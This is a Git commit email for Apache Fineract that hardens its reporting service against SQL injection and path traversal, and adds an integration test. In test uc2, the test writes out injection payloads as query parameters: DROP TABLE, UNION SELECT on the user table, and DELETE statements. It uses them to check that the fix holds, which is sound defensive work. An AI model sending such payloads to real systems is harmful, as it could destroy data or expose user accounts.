This is an automated email from the ASF dual-hosted git repository.
adamsaghy pushed a commit to branch develop
in repository https://gitbox.apache.org/repos/asf/fineract.git
The following commit(s) were added to refs/heads/develop by this push:
new 567e1c9800 FINERACT-2081: ESAPI.encoder().encodeForSQL is deprecated,
so replaced the method with parameterized queries based solution with user
input validation
567e1c9800 is described below
commit 567e1c9800fd5d7d1fb311da26ab3bbad92ac13a
Author: Attila Budai <[email protected]>
AuthorDate: Tue Aug 26 10:19:49 2025 +0200
FINERACT-2081: ESAPI.encoder().encodeForSQL is deprecated, so replaced the
method with parameterized queries based solution with user input validation
---
.../dataqueries/domain/ReportType.java | 88 ++++
.../service/SqlInjectionPreventerService.java | 25 +
.../security/utils/ColumnValidator.java | 16 +-
.../dataqueries/api/RunreportsApiResource.java | 31 ++
.../service/ReadReportingServiceImpl.java | 67 ++-
.../service/SqlInjectionPreventerServiceImpl.java | 108 ++++-
...qlInjectionReportingServiceIntegrationTest.java | 515 +++++++++++++++++++++
7 files changed, 827 insertions(+), 23 deletions(-)
diff --git
a/fineract-core/src/main/java/org/apache/fineract/infrastructure/dataqueries/domain/ReportType.java
b/fineract-core/src/main/java/org/apache/fineract/infrastructure/dataqueries/domain/ReportType.java
new file mode 100644
index 0000000000..1108682665
--- /dev/null
+++
b/fineract-core/src/main/java/org/apache/fineract/infrastructure/dataqueries/domain/ReportType.java
@@ -0,0 +1,88 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.dataqueries.domain;
+
+import java.util.Arrays;
+import java.util.Locale;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+/**
+ * Enumeration of valid report types for whitelist validation.
+ *
+ * This enum provides a secure whitelist of allowed report types to prevent
SQL injection attacks in the reporting
+ * system. Only these predefined types are allowed in report queries.
+ */
+public enum ReportType {
+
+ /**
+ * Standard report type for retrieving report data
+ */
+ REPORT("report"),
+
+ /**
+ * Parameter type for retrieving parameter definitions and possible values
+ */
+ PARAMETER("parameter");
+
+ private final String value;
+
+ /**
+ * Cached set of all valid values for efficient validation
+ */
+ private static final Set<String> VALID_VALUES =
Arrays.stream(values()).map(ReportType::getValue).collect(Collectors.toSet());
+
+ ReportType(String value) {
+ this.value = value;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ /**
+ * Validates if a given report type is in the whitelist.
+ *
+ * @param type
+ * the report type to validate
+ * @return true if the type is valid, false otherwise
+ */
+ public static boolean isValidType(String type) {
+ return type != null && !type.trim().isEmpty() &&
VALID_VALUES.contains(type.toLowerCase(Locale.ROOT));
+ }
+
+ /**
+ * Gets the ReportType enum value for a given string.
+ *
+ * @param type
+ * the report type string
+ * @return the corresponding ReportType enum value
+ * @throws IllegalArgumentException
+ * if the type is not valid
+ */
+ public static ReportType fromValue(String type) {
+ if (type == null) {
+ throw new IllegalArgumentException("Report type cannot be null");
+ }
+
+ String lowerType = type.toLowerCase(Locale.ROOT);
+ return Arrays.stream(values()).filter(rt ->
rt.getValue().equals(lowerType)).findFirst()
+ .orElseThrow(() -> new IllegalArgumentException("Invalid
report type: " + type));
+ }
+}
diff --git
a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java
b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java
index 5501c69439..83794b1092 100644
---
a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java
+++
b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java
@@ -21,4 +21,29 @@ package org.apache.fineract.infrastructure.security.service;
public interface SqlInjectionPreventerService {
String encodeSql(String literal);
+
+ /**
+ * Validates and quotes a database identifier (table name, column name)
using database-specific quoting rules. This
+ * method ensures that identifiers are safely quoted to prevent SQL
injection attacks.
+ *
+ * @param identifier
+ * the database identifier to quote
+ * @param allowedValues
+ * optional set of allowed values for whitelist validation
+ * @return the properly quoted identifier safe for use in SQL queries
+ * @throws IllegalArgumentException
+ * if the identifier is invalid or not in the whitelist (if
provided)
+ */
+ String quoteIdentifier(String identifier, java.util.Set<String>
allowedValues);
+
+ /**
+ * Validates and quotes a database identifier without whitelist validation.
+ *
+ * @param identifier
+ * the database identifier to quote
+ * @return the properly quoted identifier safe for use in SQL queries
+ * @throws IllegalArgumentException
+ * if the identifier is null or empty
+ */
+ String quoteIdentifier(String identifier);
}
diff --git
a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
index f16ecd6895..444aad2fea 100644
---
a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
+++
b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
@@ -34,6 +34,7 @@ import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
+import
org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.datasource.DataSourceUtils;
@@ -59,16 +60,19 @@ public class ColumnValidator {
ResultSet resultSet = dbMetaData.getColumns(null, null,
entry.getKey(), null);
Set<String> tableColumns = getTableColumns(resultSet);
if (!columns.isEmpty() && tableColumns.isEmpty()) {
- throw new SQLInjectionException();
+ throw new
PlatformApiDataValidationException("error.msg.invalid.table.column", "Invalid
table or column name detected",
+ entry.getKey(), columns);
}
for (String requestedColumn : columns) {
if (!tableColumns.contains(requestedColumn)) {
- throw new SQLInjectionException();
+ throw new
PlatformApiDataValidationException("error.msg.invalid.table.column", "Invalid
table column name detected",
+ entry.getKey(), requestedColumn);
}
}
}
} catch (SQLException e) {
- throw new SQLInjectionException(e);
+ throw new
PlatformApiDataValidationException("error.msg.database.access.error",
+ "Database access error during column validation",
e.getMessage(), e);
} finally {
if (connection != null) {
DataSourceUtils.releaseConnection(connection,
jdbcTemplate.getDataSource());
@@ -120,7 +124,8 @@ public class ColumnValidator {
Set<String> columns = entry.getValue();
tableColumnMap.put(schema.substring(startPos, index).trim(),
columns);
} else {
- throw new SQLInjectionException();
+ throw new
PlatformApiDataValidationException("error.msg.invalid.table.alias", "Invalid
table alias in SQL query",
+ entry.getKey());
}
}
@@ -142,7 +147,8 @@ public class ColumnValidator {
tableColumnMap.put(tableColumn[0], columns);
}
} else {
- throw new SQLInjectionException();
+ throw new
PlatformApiDataValidationException("error.msg.invalid.table.column.format",
+ "Invalid table.column format in operand", operand);
}
}
return tableColumnMap;
diff --git
a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java
b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java
index 1c1b967cc9..4c2c59f62f 100644
---
a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java
+++
b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java
@@ -39,6 +39,7 @@ import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.core.Response;
import jakarta.ws.rs.core.UriInfo;
import lombok.RequiredArgsConstructor;
+import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.api.ApiParameterHelper;
import
org.apache.fineract.infrastructure.core.exception.PlatformServiceUnavailableException;
import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
@@ -73,6 +74,8 @@ public class RunreportsApiResource {
public Response retrieveAllAvailableExports(@PathParam("reportName")
@Parameter(description = "reportName") final String reportName,
@Context final UriInfo uriInfo,
@DefaultValue("false")
@QueryParam(IS_SELF_SERVICE_USER_REPORT_PARAMETER) @Parameter(description =
IS_SELF_SERVICE_USER_REPORT_PARAMETER) final boolean isSelfServiceUserReport) {
+
+ validateReportName(reportName);
MultivaluedMap<String, String> queryParams = new
MultivaluedStringMap();
queryParams.putAll(uriInfo.getQueryParameters());
@@ -114,6 +117,8 @@ public class RunreportsApiResource {
@Context final UriInfo uriInfo,
@DefaultValue("false")
@QueryParam(IS_SELF_SERVICE_USER_REPORT_PARAMETER) @Parameter(description =
IS_SELF_SERVICE_USER_REPORT_PARAMETER) final boolean isSelfServiceUserReport) {
+ validateReportName(reportName);
+
MultivaluedMap<String, String> queryParams = new
MultivaluedStringMap();
queryParams.putAll(uriInfo.getQueryParameters());
@@ -143,4 +148,30 @@ public class RunreportsApiResource {
}
}
}
+
+ /**
+ * Validates report name to prevent SQL injection attacks.
+ *
+ * @param reportName
+ * the report name to validate
+ * @throws IllegalArgumentException
+ * if the report name is invalid
+ */
+ private void validateReportName(String reportName) {
+ if (StringUtils.isBlank(reportName)) {
+ throw new IllegalArgumentException("Report name cannot be null or
empty");
+ }
+
+ // Basic length validation
+ if (reportName.length() > 100) {
+ throw new IllegalArgumentException("Report name exceeds maximum
length of 100 characters");
+ }
+
+ // Check for potentially dangerous characters
+ // Allow letters, numbers, spaces, hyphens, underscores, and
parentheses which are common in report names
+ if (!reportName.matches("^[a-zA-Z0-9\\s\\-_()%&.]+$")) {
+ throw new IllegalArgumentException(
+ "Report name contains invalid characters. Only letters,
numbers, spaces, hyphens, underscores, parentheses, percent, ampersand, and
dots are allowed");
+ }
+ }
}
diff --git
a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java
b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java
index b845b22246..8d7cf45110 100644
---
a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java
+++
b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java
@@ -30,6 +30,8 @@ import java.io.IOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.nio.charset.StandardCharsets;
+import java.nio.file.Path;
+import java.nio.file.Paths;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
@@ -53,13 +55,12 @@ import
org.apache.fineract.infrastructure.dataqueries.data.ReportParameterData;
import
org.apache.fineract.infrastructure.dataqueries.data.ReportParameterJoinData;
import
org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetRowData;
+import org.apache.fineract.infrastructure.dataqueries.domain.ReportType;
import
org.apache.fineract.infrastructure.dataqueries.exception.ReportNotFoundException;
import
org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import
org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import
org.apache.fineract.infrastructure.security.utils.LogParameterEscapeUtil;
import org.apache.fineract.useradministration.domain.AppUser;
-import org.owasp.esapi.ESAPI;
-import org.owasp.esapi.codecs.UnixCodec;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.support.rowset.SqlRowSet;
@@ -154,21 +155,58 @@ public class ReadReportingServiceImpl implements
ReadReportingService {
}
private String getSql(final String name, final String type) {
- final String encodedName =
sqlInjectionPreventerService.encodeSql(name);
- final String encodedType =
sqlInjectionPreventerService.encodeSql(type);
+ if (name == null || type == null) {
+ throw new IllegalArgumentException("Report name and type cannot be
null");
+ }
+
+ // Validate report type against whitelist - this prevents SQL
injection in table names
+ if (!ReportType.isValidType(type)) {
+ throw new IllegalArgumentException("Invalid report type provided");
+ }
- final String inputSql = "select " + encodedType + "_sql as the_sql
from stretchy_" + encodedType + " where " + encodedType
- + "_name = ?";
+ final ReportType reportType = ReportType.fromValue(type);
+ final String quotedTableName = getQuotedTableName(reportType);
+ final String quotedColumnSqlName = getQuotedColumnName(reportType,
"_sql");
+ final String quotedColumnNameName = getQuotedColumnName(reportType,
"_name");
+
+ // Use parameterized query with validated and quoted identifiers to
prevent SQL injection
+ final String inputSql = "SELECT " + quotedColumnSqlName + " AS the_sql
FROM " + quotedTableName + " WHERE " + quotedColumnNameName
+ + " = ?";
final String inputSqlWrapped =
this.genericDataService.wrapSQL(inputSql);
- // the return statement contains the exact sql required
- final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(inputSqlWrapped,
encodedName);
+ // Use parameterized query - name parameter is safely handled by JDBC
+ final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(inputSqlWrapped,
name);
if (rs.next() && rs.getString("the_sql") != null) {
return rs.getString("the_sql");
}
- throw new ReportNotFoundException(encodedName);
+ throw new ReportNotFoundException(name);
+ }
+
+ /**
+ * Gets the properly quoted table name for the given report type. This
method ensures SQL injection prevention by
+ * using only validated enum values.
+ */
+ private String getQuotedTableName(ReportType reportType) {
+ String tableName = "stretchy_" + reportType.getValue();
+ return sqlInjectionPreventerService.quoteIdentifier(tableName);
+ }
+
+ /**
+ * Gets the properly quoted column name by combining the report type
prefix with a suffix. This method ensures SQL
+ * injection prevention by using only validated enum values and safely
constructing the full column name before
+ * quoting.
+ *
+ * @param reportType
+ * the validated report type
+ * @param suffix
+ * the column name suffix (e.g., "_sql", "_name")
+ * @return the properly quoted full column name
+ */
+ private String getQuotedColumnName(ReportType reportType, String suffix) {
+ String fullColumnName = reportType.getValue() + suffix;
+ return sqlInjectionPreventerService.quoteIdentifier(fullColumnName);
}
@Override
@@ -212,8 +250,15 @@ public class ReadReportingServiceImpl implements
ReadReportingService {
final Document document = new Document(PageSize.B0.rotate());
- String validatedFileName = ESAPI.encoder().encodeForOS(new
UnixCodec(), reportName);
- PdfWriter.getInstance(document, new FileOutputStream(fileLocation
+ validatedFileName + ".pdf"));
+ // Validate filename characters and use Path.of() for safe handling
+ if (!reportName.matches("^[a-zA-Z0-9_.-]+$")) {
+ throw new IllegalArgumentException("Invalid report name
format");
+ }
+ Path validatedPath = Paths.get(fileLocation, reportName +
".pdf").normalize();
+ if (!validatedPath.startsWith(Paths.get(fileLocation))) {
+ throw new IllegalArgumentException("Path traversal attempt
detected");
+ }
+ PdfWriter.getInstance(document, new
FileOutputStream(validatedPath.toString()));
document.open();
final PdfPTable table = new PdfPTable(chSize);
diff --git
a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java
b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java
index d625fbcca5..a5b74ea667 100644
---
a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java
+++
b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java
@@ -19,19 +19,16 @@
package org.apache.fineract.infrastructure.security.service;
import java.sql.SQLException;
+import java.util.Set;
+import org.apache.commons.lang3.StringUtils;
import
org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
import
org.apache.fineract.infrastructure.security.exception.EscapeSqlLiteralException;
-import org.owasp.esapi.ESAPI;
-import org.owasp.esapi.codecs.Codec;
-import org.owasp.esapi.codecs.MySQLCodec;
import org.postgresql.core.Utils;
import org.springframework.stereotype.Service;
@Service
public class SqlInjectionPreventerServiceImpl implements
SqlInjectionPreventerService {
- private static final Codec<?> MYSQL_CODEC = new
MySQLCodec(MySQLCodec.Mode.STANDARD);
-
private final DatabaseTypeResolver databaseTypeResolver;
public SqlInjectionPreventerServiceImpl(DatabaseTypeResolver
databaseTypeResolver) {
@@ -40,16 +37,113 @@ public class SqlInjectionPreventerServiceImpl implements
SqlInjectionPreventerSe
@Override
public String encodeSql(String literal) {
+ if (literal == null) {
+ return "NULL";
+ }
+
if (databaseTypeResolver.isMySQL()) {
- return ESAPI.encoder().encodeForSQL(MYSQL_CODEC, literal);
+ return escapeMySQLLiteral(literal);
} else if (databaseTypeResolver.isPostgreSQL()) {
try {
return Utils.escapeLiteral(null, literal, true).toString();
} catch (SQLException e) {
- throw new EscapeSqlLiteralException("Failed to escape an SQL
literal. literal: " + literal, e);
+ throw new EscapeSqlLiteralException("Failed to escape SQL
literal", e);
}
} else {
+ // For unknown database types, return the input unchanged
+ // This maintains backward compatibility while still providing
basic protection for known types
return literal;
}
}
+
+ /**
+ * Escapes a string literal for MySQL/MariaDB using native MySQL standard
escaping rules. This method replaces the
+ * vulnerable ESAPI SQL encoding to address CVE-2025-5878.
+ *
+ * According to MySQL documentation, the following characters need to be
escaped: - Single quote (') -> \' - Double
+ * quote (") -> \" - Backslash (\) -> \\ - Null byte (\0) -> \\0 - Newline
(\n) -> \\n - Carriage return (\r) -> \\r
+ * - Tab (\t) -> \\t - ASCII 26 (Ctrl+Z) -> \\Z
+ *
+ * @param literal
+ * the string literal to escape
+ * @return the escaped string literal safe for MySQL/MariaDB SQL queries
+ */
+ private String escapeMySQLLiteral(String literal) {
+
+ StringBuilder escaped = new StringBuilder(literal.length() * 2);
+
+ for (int i = 0; i < literal.length(); i++) {
+ char c = literal.charAt(i);
+
+ switch (c) {
+ case '\0': // Null byte
+ escaped.append("\\0");
+ break;
+ case '\'':
+ escaped.append("\\'");
+ break;
+ case '\"':
+ escaped.append("\\\"");
+ break;
+ case '\\':
+ escaped.append("\\\\");
+ break;
+ case '\n':
+ escaped.append("\\n");
+ break;
+ case '\r':
+ escaped.append("\\r");
+ break;
+ case '\t':
+ escaped.append("\\t");
+ break;
+ case '\032':
+ escaped.append("\\Z");
+ break;
+ default:
+ escaped.append(c);
+ break;
+ }
+ }
+
+ return escaped.toString();
+ }
+
+ @Override
+ public String quoteIdentifier(String identifier, Set<String>
allowedValues) {
+ if (StringUtils.isBlank(identifier)) {
+ throw new IllegalArgumentException("Identifier cannot be null or
empty");
+ }
+
+ // Whitelist validation if provided
+ if (allowedValues != null &&
!allowedValues.contains(identifier.toLowerCase())) {
+ throw new IllegalArgumentException("Identifier not in whitelist: "
+ identifier);
+ }
+
+ return quoteIdentifier(identifier);
+ }
+
+ @Override
+ public String quoteIdentifier(String identifier) {
+ if (StringUtils.isBlank(identifier)) {
+ throw new IllegalArgumentException("Identifier cannot be null or
empty");
+ }
+
+ // Validate identifier contains only safe characters (alphanumeric and
underscore)
+ if (!identifier.matches("^[a-zA-Z_][a-zA-Z0-9_]*$")) {
+ throw new IllegalArgumentException("Invalid identifier format: " +
identifier);
+ }
+
+ if (databaseTypeResolver.isMySQL()) {
+ // MySQL/MariaDB uses backticks for identifier quoting
+ return "`" + identifier.replace("`", "``") + "`";
+ } else if (databaseTypeResolver.isPostgreSQL()) {
+ // PostgreSQL uses double quotes for identifier quoting
+ return "\"" + identifier.replace("\"", "\"\"") + "\"";
+ } else {
+ // For unknown database types, return identifier as-is if it
passes validation
+ // This maintains backward compatibility while still providing
basic protection
+ return identifier;
+ }
+ }
}
diff --git
a/integration-tests/src/test/java/org/apache/fineract/integrationtests/SqlInjectionReportingServiceIntegrationTest.java
b/integration-tests/src/test/java/org/apache/fineract/integrationtests/SqlInjectionReportingServiceIntegrationTest.java
new file mode 100644
index 0000000000..2855c35aef
--- /dev/null
+++
b/integration-tests/src/test/java/org/apache/fineract/integrationtests/SqlInjectionReportingServiceIntegrationTest.java
@@ -0,0 +1,515 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.integrationtests;
+
+import static io.restassured.RestAssured.given;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNotEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import io.restassured.builder.RequestSpecBuilder;
+import io.restassured.builder.ResponseSpecBuilder;
+import io.restassured.http.ContentType;
+import io.restassured.response.Response;
+import io.restassured.specification.RequestSpecification;
+import io.restassured.specification.ResponseSpecification;
+import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import lombok.extern.slf4j.Slf4j;
+import
org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
+import org.apache.fineract.integrationtests.common.Utils;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.CsvSource;
+import org.junit.jupiter.params.provider.ValueSource;
+
+/**
+ * Comprehensive integration tests for SQL injection prevention in reporting
functionality (PS-2667).
+ *
+ * Tests the migration from ESAPI to native database escaping and validates
that CVE-2025-5878 is fixed. Covers
+ * ReadReportingServiceImpl security measures through actual API endpoints.
+ *
+ * @see ReadReportingServiceImpl
+ * @see SqlInjectionPreventerService
+ */
+@Slf4j
+public class SqlInjectionReportingServiceIntegrationTest extends
BaseLoanIntegrationTest {
+
+ private RequestSpecification requestSpec;
+ private ResponseSpecification responseSpec;
+ private Long testReportId = null;
+ private static final String TEST_REPORT_NAME = "SQL_Injection_Test_Report";
+ private static final String TEST_REPORT_SQL = "SELECT 1 as test_column,
'Test Data' as test_name";
+
+ @BeforeEach
+ public void setup() {
+ Utils.initializeRESTAssured();
+ this.requestSpec = new
RequestSpecBuilder().setContentType(ContentType.JSON).build();
+ this.requestSpec.header("Authorization", "Basic " +
Utils.loginIntoServerAndGetBase64EncodedAuthenticationKey());
+ this.requestSpec.header("Fineract-Platform-TenantId", "default");
+ this.responseSpec = new
ResponseSpecBuilder().expectStatusCode(200).build();
+
+ // Create test report for the tests
+ createTestReportIfNotExists();
+ }
+
+ @AfterEach
+ public void cleanup() {
+ // Clean up test report after tests
+ if (testReportId != null) {
+ try {
+ deleteTestReport();
+ } catch (Exception e) {
+ log.warn("Failed to clean up test report: " + e.getMessage());
+ }
+ }
+ }
+
+ private void createTestReportIfNotExists() {
+ try {
+ // First try to get the report to see if it exists - use direct
RestAssured call to handle 404
+ Response response =
given().spec(requestSpec).when().get("/fineract-provider/api/v1/reports");
+
+ if (response.getStatusCode() == 200) {
+ String existingReports = response.asString();
+ if (existingReports.contains("\"reportName\":\"" +
TEST_REPORT_NAME + "\"")) {
+ log.info("Test report '{}' already exists",
TEST_REPORT_NAME);
+ // Extract the ID for cleanup
+ try {
+ String pattern = "\"id\":(\\d+)[^}]*\"reportName\":\""
+ TEST_REPORT_NAME + "\"";
+ java.util.regex.Pattern p =
java.util.regex.Pattern.compile(pattern);
+ java.util.regex.Matcher m = p.matcher(existingReports);
+ if (m.find()) {
+ testReportId = Long.parseLong(m.group(1));
+ log.info("Found existing test report with ID: {}",
testReportId);
+ }
+ } catch (Exception ex) {
+ log.debug("Could not extract existing report ID");
+ }
+ return;
+ }
+ } else if (response.getStatusCode() == 404) {
+ log.debug("Reports endpoint returned 404 (no reports exist
yet), will create report");
+ } else {
+ log.debug("Reports endpoint returned unexpected status: {},
will try to create report", response.getStatusCode());
+ }
+ } catch (Exception e) {
+ log.debug("Report list fetch failed, will try to create report:
{}", e.getMessage());
+ }
+
+ // Create the test report
+ String reportJson = "{" + "\"reportName\": \"" + TEST_REPORT_NAME +
"\"," + "\"reportType\": \"Table\","
+ + "\"reportCategory\": \"Client\"," + "\"reportSql\": \"" +
TEST_REPORT_SQL + "\","
+ + "\"description\": \"Test report for SQL injection prevention
tests\"," + "\"useReport\": true" + "}";
+
+ try {
+ // Use direct RestAssured call to handle different response codes
+ Response postResponse =
given().spec(requestSpec).contentType(ContentType.JSON).body(reportJson).when()
+ .post("/fineract-provider/api/v1/reports");
+
+ if (postResponse.getStatusCode() == 200 ||
postResponse.getStatusCode() == 201) {
+ String response = postResponse.asString();
+ // Extract report ID from response for cleanup
+ if (response.contains("resourceId")) {
+ String idStr =
response.replaceAll(".*\"resourceId\":(\\d+).*", "$1");
+ testReportId = Long.parseLong(idStr);
+ log.info("Created test report with ID: {}", testReportId);
+ } else {
+ throw new RuntimeException("Test report creation failed -
no resourceId in response: " + response);
+ }
+ } else {
+ String errorResponse = postResponse.asString();
+ log.error("Report creation failed - Status: {}, Body: {},
Headers: {}", postResponse.getStatusCode(), errorResponse,
+ postResponse.getHeaders());
+ log.error("Sent JSON: {}", reportJson);
+ throw new RuntimeException(
+ "Test report creation failed with status " +
postResponse.getStatusCode() + ": " + errorResponse);
+ }
+ } catch (Exception e) {
+ // This is a critical failure - tests cannot proceed without the
test report
+ throw new RuntimeException(
+ "CRITICAL: Could not create test report '" +
TEST_REPORT_NAME + "'. Tests cannot proceed. Error: " + e.getMessage(), e);
+ }
+ }
+
+ private void deleteTestReport() {
+ if (testReportId != null) {
+ try {
+ Utils.performServerDelete(requestSpec, responseSpec,
"/fineract-provider/api/v1/reports/" + testReportId, "");
+ log.info("Deleted test report with ID: {}", testReportId);
+ } catch (Exception e) {
+ log.warn("Failed to delete test report: " + e.getMessage());
+ }
+ }
+ }
+
+ /**
+ * UC1: Test legitimate report execution works correctly Validates that
the SQL injection prevention doesn't break
+ * normal functionality
+ */
+ @Test
+ void uc1_testLegitimateReportExecution() {
+ log.info("Testing that legitimate reports still work after SQL
injection prevention");
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ // Test with the test report we created in setup - this MUST succeed
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME +
"?genericResultSet=false&" + toQueryString(queryParams), null);
+
+ assertNotNull(response);
+ assertNotEquals("", response.trim());
+
+ // Debug: Log actual response to understand structure
+ log.info("Response from report execution: {}", response);
+
+ // Verify response is valid JSON structure
+ assertTrue(response.contains("columnHeaders") ||
response.contains("data") || response.contains("test_column"),
+ "Response should contain expected JSON structure, but got: " +
response);
+ }
+
+ /**
+ * UC2: Test parameter injection through query parameters Validates that
malicious content in query parameters is
+ * also properly handled
+ */
+ @Test
+ void uc2_testParameterInjectionPrevention() {
+ log.info("Testing parameter injection prevention through query
parameters");
+
+ Map<String, String> maliciousParams = new HashMap<>();
+ maliciousParams.put("R_officeId", "1'; DROP TABLE m_office; --");
+ maliciousParams.put("R_startDate", "2023-01-01' UNION SELECT * FROM
m_appuser --");
+ maliciousParams.put("R_endDate", "2023-12-31'); DELETE FROM
stretchy_report; --");
+
+ // Test with legitimate report name but malicious parameters
+ // This should either succeed with empty/safe results or fail with
validation error
+ // but NOT with SQL syntax errors
+ try {
+ String response = Utils.performServerGet(requestSpec,
responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ + "?genericResultSet=false&" +
toQueryString(maliciousParams), null);
+
+ // If we get here, the SQL injection was prevented and handled
safely
+ log.info("SQL injection prevented - query executed safely with
malicious parameters");
+ } catch (AssertionError exception) {
+ // The response should indicate parameter validation error or safe
handling
+ // NOT SQL syntax errors which would indicate successful injection
+ assertFalse(exception.getMessage().toLowerCase().contains("syntax
error"),
+ "Should not get SQL syntax error, got: " +
exception.getMessage());
+ assertFalse(exception.getMessage().toLowerCase().contains("you
have an error in your sql"),
+ "Should not get SQL error, got: " +
exception.getMessage());
+
+ // Should be a validation error, not a 404
+ assertFalse(exception.getMessage().contains("404"), "Should not
get 404 - report should exist. Got: " + exception.getMessage());
+
+ log.info("Got expected validation error: {}",
exception.getMessage());
+ }
+ }
+
+ /**
+ * UC3: Test type validation whitelist - only 'report' and 'parameter'
types should be allowed This validates the
+ * whitelist implementation for report types
+ */
+ @ParameterizedTest(name = "Report Type Validation: {0}")
+ @ValueSource(strings = { "report", "parameter" })
+ void uc3_testValidReportTypes(String validType) {
+ log.info("Testing valid report type: {}", validType);
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ // Test that valid report types work through the API
+ try {
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/runreports/TestReport?reportType=" + validType +
"&genericResultSet=false&" + toQueryString(queryParams), null);
+ // Should get a proper response or 404 (report not found), not
validation error
+ } catch (AssertionError e) {
+ // For valid types, we expect 404 (report not found), not
validation errors
+ assertTrue(e.getMessage().contains("404"));
+ }
+ }
+
+ /**
+ * UC4: Test invalid report types that should be rejected by whitelist
+ */
+ @ParameterizedTest(name = "Invalid Report Type: {0}")
+ @ValueSource(strings = { "table", "view", "procedure", "function",
"schema", "database", "admin", "user", "system", "config" })
+ void uc4_testInvalidReportTypes(String invalidType) {
+ log.info("Testing invalid report type: {}", invalidType);
+
